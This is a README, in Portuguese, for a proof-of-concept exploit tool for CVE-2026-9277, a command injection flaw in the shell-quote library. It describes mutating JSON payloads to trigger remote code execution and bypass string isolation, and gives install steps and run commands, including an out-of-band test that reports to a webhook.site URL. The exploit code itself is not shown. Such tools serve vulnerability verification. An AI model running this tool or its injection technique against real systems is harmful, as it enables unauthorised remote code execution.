CVE-2026-9277 - Exploit de Injeção de Comando Shell-Quote

Um script de exploit Proof of Concept (PoC) especializado, projetado para verificar e demonstrar CVE-2026-9277 — uma vulnerabilidade estrutural de Injeção de Comando encontrada em versões legadas da biblioteca shell-quote (<= 1.8.3).

O scanner realiza manipulação estrutural profunda em payloads JSON de entrada para expor vetores de execução remota de código (RCE) através de travessia recursiva, prevenindo falsos positivos usando um motor de temporização de linha de base de rede dinâmica.

Principais Características

• Travessia JSON Recursiva: Detecta e modifica automaticamente arrays alvo escondidos dentro de estruturas JSON aninhadas de múltiplas camadas ou configurações semelhantes a GraphQL.
• Matriz de Mutação Combinatória: Testa cenários avançados de manipulação de arrays, incluindo inserções de índices específicos, substituições absolutas de listas e pares de arrays dispersos.
• Arquitetura OOB Automatizada: Lida com layouts avançados de execução Out-of-Band separando componentes {"op": "..."} dos argumentos para contornar com sucesso os controles de isolamento de strings.
• Registro de Zero Ruído: Motor de execução silencioso que filtra respostas de servidor 500 internas quebradas/não exploráveis, exibindo exclusivamente evidências verificadas.

Instalação e Configuração

Certifique-se de ter Python 3.10+ e os pacotes necessários instalados:

git clone https://github.com/DylanZahedi/CVE-2026-9277.git
cd CVE-2026-9277
pip install requests urllib3

Exemplos de Execução

Exemplo 1: Varredura Local com Vazamento de Saída

python CVE-2026-9277.py -u "https://example.com/command" -b '{"message_tokens": ["Hello", "from", "normal user"]}'

Exemplo 2: Teste Out-of-Band (OOB) com Estrutura de Dicionário Aninhado

python CVE-2026-9277.py -u "https://example.com/command" -b '{"user": {"commands": ["a", "b"]}}' -w "https://webhook.site/your-uuid-here"